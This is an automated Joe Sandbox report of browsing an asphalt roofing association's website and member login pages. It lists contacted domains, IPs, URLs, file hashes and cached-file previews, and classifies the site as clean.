Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://www.asphaltroofing.org	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
about:blank	0%	Avira URL Cloud	safe
http://prototypejs.org)	0%	Avira URL Cloud	safe
https://bam.nr-data.net/resources/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=9684&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&st=1713884036355&hr=0&fts=1713884036355&n=26&fsh=1	0%	Avira URL Cloud	safe
https://wpbakery.com)	0%	Avira URL Cloud	safe
http://www.no-margin-for-errors.com)	0%	Avira URL Cloud	safe
https://bam.nr-data.net/events/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=10038&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login	0%	Avira URL Cloud	safe
http://www.robertpenner.com/easing/	0%	Avira URL Cloud	safe
http://getbootstrap.com)	0%	Avira URL Cloud	safe
https://feed.chimukappa.com/feed.php?v=1712224695&ep=	0%	Avira URL Cloud	safe
http://www.alexandre-gomes.com/?p=115	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
star-mini.c10r.facebook.com	31.13.88.35	true	false	high
fastly-tls12-bam.nr-data.net	162.247.243.29	true	false	unknown
cdn.feathr.co	104.26.14.119	true	false	high
js-agent.newrelic.com	162.247.243.39	true	false	high
wds.wesq.me	198.143.165.219	true	false	unknown
d1azc1qln24ryf.cloudfront.net	54.230.139.33	true	false	high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
polo.feathr.co	172.67.68.21	true	false	high
polo-v1.feathr.co	104.26.15.119	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
scontent.xx.fbcdn.net	31.13.88.13	true	false	high
asphaltroofing.org	192.124.249.102	true	false	high
www.google.com	74.125.136.99	true	false	high
arma1.memberclicks.net	104.17.137.104	true	false	high
s.w.org	192.0.77.48	true	false	high
d1yalerk4ruah8.cloudfront.net	18.160.78.62	true	false	high
match.adsrvr.org	3.33.220.150	true	false	high
img1.wsimg.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
events.api.secureserver.net	unknown	unknown	false	high
connect.facebook.net	unknown	unknown	false	high
bam.nr-data.net	unknown	unknown	false	unknown
marco.feathr.co	unknown	unknown	false	high
www.asphaltroofing.org	unknown	unknown	false	high
csp.secureserver.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://arma1.memberclicks.net/jmc-assets/global-js/mc-respond-v2.1.js	false		high
https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-brands-400.woff2	false		high
https://polo.feathr.co/v1/analytics/crumb?cb=1713884068907&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30=	false		high
about:blank	false	Avira URL Cloud: safe	low
https://arma1.memberclicks.net/jmc-assets/nivo-slider-css/nivo-slider.css	false		high
https://bam.nr-data.net/resources/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=9684&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&st=1713884036355&hr=0&fts=1713884036355&n=26&fsh=1	false	Avira URL Cloud: safe	unknown
https://www.asphaltroofing.org/wp-content/plugins/woo-gutenberg-products-block/build/wc-blocks-vendors-style.css?ver=8.7.4	false		high
https://www.asphaltroofing.org/wp-content/plugins/content-views-query-and-display-post-page/public/assets/js/cv.js?ver=3.6.4	false		high
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&rl=&if=false&ts=1713884055588&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884054999&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET	false		high
https://www.asphaltroofing.org/wp-content/uploads/2024/01/2024_ExcellenceAwardWinners_WebSlider_1425x300.png	false		high
https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_104312193-300x200.jpeg	false		high
https://arma1.memberclicks.net/includes/js/jquery-migrate.min.js	false		high
https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/fonts/revicons/revicons.woff?5510888	false		high
https://www.asphaltroofing.org/security.js?v=1713884048476	false		high
https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/assets/transparent.png	false		high
https://www.asphaltroofing.org/security.js?v=1713884062447	false		high
https://arma1.memberclicks.net/templates/buckhead-jt/favicon.ico	false		high
https://polo.feathr.co/v1/analytics/crumb?cb=1713884061835&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30=	false		high
https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884081143	false		high
https://polo.feathr.co/v1/analytics/crumb?cb=1713884053772&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30=	false		high
https://www.google.com/maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24909!4i256!2m3!1e0!2sm!3i690434553!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=50324	false		high
https://www.asphaltroofing.org/wp-content/plugins/jquery-collapse-o-matic/css/light_style.css?ver=1.6	false		high
https://www.asphaltroofing.org/wp-content/plugins/floating-top-link/fonts/floating-top-link.woff2	false		high
https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/custom_style.css?ver=3.3.8.1713804094	false		high
https://www.asphaltroofing.org/wp-content/themes/u-design/assets/js/frontend/script.js?ver=1.0	false		high
https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/prettyPhoto/custom_params.js?ver=3.1.6	false		high
https://bam.nr-data.net/events/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=10038&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login	false	Avira URL Cloud: safe	unknown
https://www.asphaltroofing.org/guide-for-homeowners/	false		high
https://www.asphaltroofing.org/media/2017/04/logo-icon.png	false		high
https://www.asphaltroofing.org/wp-content/plugins/row-separators/row-separators/css/style.css?ver=1.4.2	false		high
https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_19797513-600x400.jpeg	false		high
https://arma1.memberclicks.net/jmc-assets/global-js/hoverIntent.js	false		high
https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884048509	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/07/2024AwardsBanner-Submit.png	false		high
https://www.asphaltroofing.org/wp-content/themes/u-design/assets/images/misc-sprite-sheet.png	false		high
https://www.asphaltroofing.org/wp-content/uploads/2020/03/podcast-4209770-1024x751.jpg	false		high
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&rl=&if=false&ts=1713884049999&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2Fjoin%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884049546&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET	false		high
https://js-agent.newrelic.com/nr-full-1.257.0.min.js	false		high
https://www.asphaltroofing.org/wp-content/uploads/2022/05/V2-Banner-1900x400-1.png	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.asphaltroofing.org/excellence/case-study-gallery/	chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	false		high
https://github.com/IonDen/ion.rangeSlider	chromecache_238.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-150x150.png	chromecache_298.2.dr	false		high
http://prototypejs.org)	chromecache_409.2.dr	false	Avira URL Cloud: safe	low
http://underscorejs.org	chromecache_472.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard3_Craftsmanship-600x750.png	chromecache_298.2.dr	false		high
http://g.co/dev/maps-no-account	chromecache_516.2.dr	false		high
https://www.asphaltroofing.org/about-arma/about-us/	chromecache_298.2.dr	false		high
https://code.google.com/p/chromium/issues/detail?id=378607	chromecache_234.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2017/04/AdobeStock_104312193-500x333.jpeg	chromecache_411.2.dr	false		high
https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?	chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard3_Craftsmanship-240x300.png	chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/?p=88	chromecache_315.2.dr	false		high
https://www.asphaltroofing.org/wp-content/plugins/enable-jquery-migrate-helper/js/jquery/jquery-1.12	chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_544.2.dr, chromecache_294.2.dr, chromecache_519.2.dr, chromecache_471.2.dr	false		high
https://schema.org/WPSideBar	chromecache_514.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2017/04/cropped-logo-icon-300x300.png	chromecache_298.2.dr	false		high
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_234.2.dr	false		high
https://wpbakery.com)	chromecache_269.2.dr, chromecache_546.2.dr, chromecache_481.2.dr, chromecache_236.2.dr	false	Avira URL Cloud: safe	low
https://www.themepunch.com/support-center	chromecache_501.2.dr	false		high
http://getbootstrap.com)	chromecache_357.2.dr, chromecache_475.2.dr	false	Avira URL Cloud: safe	low
https://www.asphaltroofing.org/guide-for-professionals/#breadcrumb	chromecache_315.2.dr	false		high
https://www.asphaltroofing.org/resources/media-center/	chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-300x174.p	chromecache_298.2.dr	false		high
http://www.datatables.net	chromecache_343.2.dr	false		high
https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling	chromecache_516.2.dr	false		high
https://support.google.com/fusiontables/answer/9185417).	chromecache_516.2.dr	false		high
https://developers.google.com/maps/deprecations	chromecache_516.2.dr	false		high
http://bugs.jquery.com/ticket/11820	chromecache_408.2.dr	false		high
https://www.asphaltroofing.org/?p=143	chromecache_411.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-2048x1191	chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/?p=382	chromecache_500.2.dr	false		high
https://www.asphaltroofing.org/sustainability/	chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/resources/video-library/	chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/about-arma/#primaryimage	chromecache_411.2.dr	false		high
https://feed.chimukappa.com/feed.php?v=1712224695&ep=	chromecache_424.2.dr	false	Avira URL Cloud: safe	unknown
https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-768x447.p	chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/wp-content/plugins/pt-content-views-pro/public/assets/js/cvpro.min.js	chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/wp-content/plugins/woo-gutenberg-products-block/build/wc-blocks-vendo	chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	false		high
https://schema.org/WPHeader	chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-600x349.p	chromecache_298.2.dr	false		high
http://www.robertpenner.com/easing/	chromecache_409.2.dr	false	Avira URL Cloud: safe	unknown
https://www.asphaltroofing.org/?p=275	chromecache_298.2.dr	false		high
http://www.memberclicks.com/	chromecache_508.2.dr	false		high
http://malsup.com/jquery/block/	chromecache_294.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-1024x595.	chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-1024x1024.pn	chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/?p=126	chromecache_254.2.dr	false		high
https://www.asphaltroofing.org/?s=	chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-2048x1191.p	chromecache_298.2.dr	false		high
https://www.asphaltroofing.org/?p=122	chromecache_514.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/07/Excellence-Awards-Submission-Rules-07-13-2	chromecache_298.2.dr	false		high
http://www.no-margin-for-errors.com)	chromecache_483.2.dr	false	Avira URL Cloud: safe	low
https://www.asphaltroofing.org/wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-2048x1191	chromecache_298.2.dr	false		high
https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers	chromecache_516.2.dr	false		high
https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/js/vendors/woocommerce-add-to-c	chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	false		high
http://jsperf.com/getall-vs-sizzle/2	chromecache_234.2.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys	chromecache_409.2.dr	false		high
http://www.alexandre-gomes.com/?p=115	chromecache_343.2.dr	false	Avira URL Cloud: safe	unknown
https://fontawesome.com/license/free	chromecache_285.2.dr, chromecache_379.2.dr	false		high
https://www.asphaltroofing.org/wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse-600x750.png	chromecache_298.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.160.78.62	d1yalerk4ruah8.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
104.17.137.104	arma1.memberclicks.net	United States	13335	CLOUDFLARENETUS	false
172.253.124.147	unknown	United States	15169	GOOGLEUS	false
0.0.0.0	unknown	unknown	unknown	unknown	false
192.124.249.102	asphaltroofing.org	United States	30148	SUCURI-SECUS	false
31.13.88.13	scontent.xx.fbcdn.net	Ireland	32934	FACEBOOKUS	false
31.13.88.35	star-mini.c10r.facebook.com	Ireland	32934	FACEBOOKUS	false
162.247.243.39	js-agent.newrelic.com	United States	13335	CLOUDFLARENETUS	false
3.33.220.150	match.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
104.26.15.119	polo-v1.feathr.co	United States	13335	CLOUDFLARENETUS	false
54.230.139.33	d1azc1qln24ryf.cloudfront.net	United States	16509	AMAZON-02US	false
31.13.66.35	unknown	Ireland	32934	FACEBOOKUS	false
74.125.136.99	www.google.com	United States	15169	GOOGLEUS	false
104.26.14.119	cdn.feathr.co	United States	13335	CLOUDFLARENETUS	false
172.67.68.21	polo.feathr.co	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
198.143.165.219	wds.wesq.me	United States	32475	SINGLEHOP-LLCUS	false
104.17.140.104	unknown	United States	13335	CLOUDFLARENETUS	false
162.247.243.29	fastly-tls12-bam.nr-data.net	United States	13335	CLOUDFLARENETUS	false
13.32.151.88	unknown	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.16
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430443
Start date and time:	2024-04-23 16:52:43 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://www.asphaltroofing.org
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	CLEAN
Classification:	clean1.win@26/583@58/22
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://arma1.memberclicks.net/login#/login Browse: https://www.asphaltroofing.org/about-arma/join/ Browse: https://www.asphaltroofing.org/contact-us/ Browse: https://www.asphaltroofing.org/guide-for-professionals/ Browse: https://www.asphaltroofing.org/guide-for-homeowners/ Browse: https://www.asphaltroofing.org/excellence/ Browse: https://www.asphaltroofing.org/resources/ Browse: https://www.asphaltroofing.org/about-arma/

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.177.94, 142.250.9.138, 142.250.9.102, 142.250.9.101, 142.250.9.113, 142.250.9.100, 142.250.9.139, 64.233.176.84, 34.104.35.123, 74.125.138.97, 142.250.105.95, 142.251.15.94, 64.233.176.100, 64.233.176.138, 64.233.176.101, 64.233.176.139, 64.233.176.113, 64.233.176.102, 23.48.203.11, 23.48.203.15, 13.85.23.86, 108.177.122.95, 64.233.185.95, 64.233.177.95, 64.233.176.95, 172.253.124.95, 173.194.219.95, 74.125.138.95, 142.251.15.95, 172.217.215.95, 74.125.136.95, 142.250.9.95, 192.229.211.108, 23.207.202.37, 23.207.202.16, 23.207.202.33, 23.207.202.20, 23.207.202.34, 23.207.202.18, 23.207.202.40, 23.207.202.30, 23.207.202.32, 13.95.31.18, 23.34.240.139, 23.34.240.105, 23.61.51.131, 184.28.29.155, 184.28.29.165, 74.125.138.94, 173.194.219.94, 173.194.219.120, 142.250.105.94, 142.250.105.120, 172.217.215.94, 74.125.138.100, 74.125.138.102, 74.125.138.138, 74.125.138.101, 74.125.138.113, 74.125.138.139, 23.207.202.42, 23.207.202.12, 23.207.202.4, 23.207.202.10, 23.20
Excluded domains from analysis (whitelisted): e8843.dsca.akamaiedge.net, e40258.g.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, a767.dspw65.akamai.net, maps.googleapis.com, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, global-wildcard.wsimg.com.sni-only.edgekey.net, csp.secureserver.net.edgekey.net, www.google-analytics.com, glb.sls.prod.dcat.dsp.trafficmanager.net, client.wns.windows.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com, wildcard-sni-only.api.secureserver.net.edgekey.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e64861.dsca.akamaiedge.net, clients.l.google.com, maps.gstatic.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: http://www.asphaltroofing.org

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	293619
Entropy (8bit):	5.08371369397478
Encrypted:	false
SSDEEP:	6144:+aLfh6nicf8Z5wPTdpM4mDoz1EsnFyyyHh3zOxPnS8kVLkIVfzgAK6k1PC:+nw4mDiTFyA6TVfcAKNZC
MD5:	BBFF2256EC7ABF90BF97B580920EDBBC
SHA1:	12D807D6DB75D52D0E9EA55AD3DB1460E9B31EAD
SHA-256:	F3D4912CB2E47618BDEDA22D5428054B2EABE42D6D87A61500BBDBF7D89FB582
SHA-512:	B78DC92BC2F722D0AF4445AF7F047BEBFF2A0E2240F7889C5B2526F62906B2A8D59F5E37D64B17159C362F75DC1926C7A50105D98870FF1EED57D01917BDFAAB
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/js/jquery.min.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright jQuery Foundation and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2016-05-20T17:17Z. */..(function( global, factory ) {...if ( typeof module === "object" && typeof module.exports === "object" ) {...// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factory( w );....};..}

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 1000, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	20639
Entropy (8bit):	7.934950816480494
Encrypted:	false
SSDEEP:	384:6O8GJAcueWy2aPnPK/CllT0YH1ukoXzyJatCvegyzzboJN1HpO6r2A:t8EAcvW+KKDT1xoXzz0eloJN/Oe1
MD5:	660BCC8B3947D707B8C847688B07DB5F
SHA1:	9E1E46BDDACEB1576DD78EFBF133C92F1D776331
SHA-256:	5F5377655C2A82071A562122B80817EB8882BD78F86F753097E8191FD247575D
SHA-512:	98EF63CDAFCF4DB60809E15EF42525340BBCFC5E9771EB55508DFF4A1D8A921F8F86AE1D7089104CA40B1A07F328FF2B4FBF47AD082E90BE6CCCCA29B82CF453
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ..............-PLTER.....k)"o$.h,&Q..........PPP,,,....[Wrpp...b..A..P-IDATx...o.6...&DQ.-"......x.n.1.d.A.`.(...d'....b.m...v..=E.x.A/E...z...b.^.E]$...J..!ER?)..<:@..$[....../..2..[..=...V....b.B...(.......B@!.........P.(...B@!..P.(..... ..P.....B..(.......B@!..P.(...@@!........B@!..P.(........P.(...B@!..P.(......t....u....H....c......H...aR...>. ..BZ.T!...\|......-..E..~W...........B.J..&@...)....@.P....@..e....t.C</.......^."jj...V..@..u).-..r.X ).I^?..ay. ......B..D!.E\...^\|.v<'...)$..}!.A!}......D!....}>d.9,.....W`...v..p%5J.B.p..@....;r%.....7,_v.Q...^...i...j6Z!...y...asR...u...z..c..6(d.`]..H..5......Wr.....s.....)U..aw...'..=q.{Y....V...........!..k..fC .E5g.?l..Y`%..@.....;..l.B.SR..m.dW]..>.{.......}....~z.........w7n.........E..6....j.:w.Vr.._.\..*..r.@.i.D.u..1@n.5....8..Q....i.:......... .@@!m\.S..B..R.u.B:.R.u.B..R.u...=.0\|5n .......I..B0r...........,@!..Y8-.(D...ux.(...x......$......5........W.D.Q..D..V!40..@N....

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65358)
Category:	downloaded
Size (bytes):	485158
Entropy (8bit):	4.9476142619555095
Encrypted:	false
SSDEEP:	3072:gR/QvmKEBVJh/eJMcokaCeLYtz+RJwKZ1kkUSbxhJwdO8BEo2HwSMxnp5ANdl0gN:gR/3/JcQ
MD5:	EA6875390B793C2C1C75E264BE2ACB9B
SHA1:	276BDF9E25E7923E3B8C6D4F8757D4E5391037F7
SHA-256:	A6F59FC654B5A739D372C1F6954A666D6518236AC67134523277A5548EC40AD0
SHA-512:	0B39AEEDA67D6F8DF02AB5F4F81D29CB2ADACF55EA402D62A8D7CD82F60032A64928E0FE70E123A575E5C73836AC606948D735B60DC7A22E4FA184C20C3C40AA
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=6.1
Preview:	/!. WPBakery Page Builder v6.0.0 (https://wpbakery.com). * Copyright 2011-2019 Michael M, WPBakery. * License: Commercial. More details: http://go.wpbakery.com/licensing. */...vc_row:after,.vc_row:before{content:" ";display:table}.vc_row:after{clear:both}@media (max-width:767px){.vc_hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.vc_hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.vc_hidden-md{display:none!important}}@media (min-width:1200px){.vc_hidden-lg{display:none!important}}.vc_non_responsive .vc_row .vc_col-sm-1{position:relative;float:left;width:8.33333333%;min-height:1px;padding-left:15px;padding-right:15px}.vc_non_responsive .vc_row .vc_col-sm-2{position:relative;float:left;width:16.66666667%;min-height:1px;padding-left:15px;padding-right:15px}.vc_non_responsive .vc_row .vc_col-sm-3{position:relative;float:left;width:25%;min-height:1px;padding-left:15px;padding-right:15px}.vc_non_responsive .vc_row .vc_col

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 500x500, components 3
Category:	dropped
Size (bytes):	44203
Entropy (8bit):	7.491219774073446
Encrypted:	false
SSDEEP:	768:gc3QSY/yVxe9H3T/Z9ZeBD8xT2nuOU10+8WvOtobIOsfgVov:gc3NVE3T/ZWBDG2n7U9+mFsfgVU
MD5:	8DF1D4E23A84A3C529BC32123DBBC337
SHA1:	56D122E3D15AB785E3C4F8D11FA83929D2EB435C
SHA-256:	6001A60B801B4F97CBE0DB9C119A9D00982235D7FD1383D38A9DD8D2AF100FF3
SHA-512:	F7AACBA756A4670697524F706E8F238308C0E93BE1910089DDBE12D67BE2D1E98F77830F5DD7E8B420D8B58722E94E5838A96FDDEDC54E0A8FE5ED8DBF6F7395
Malicious:	false
Reputation:	low
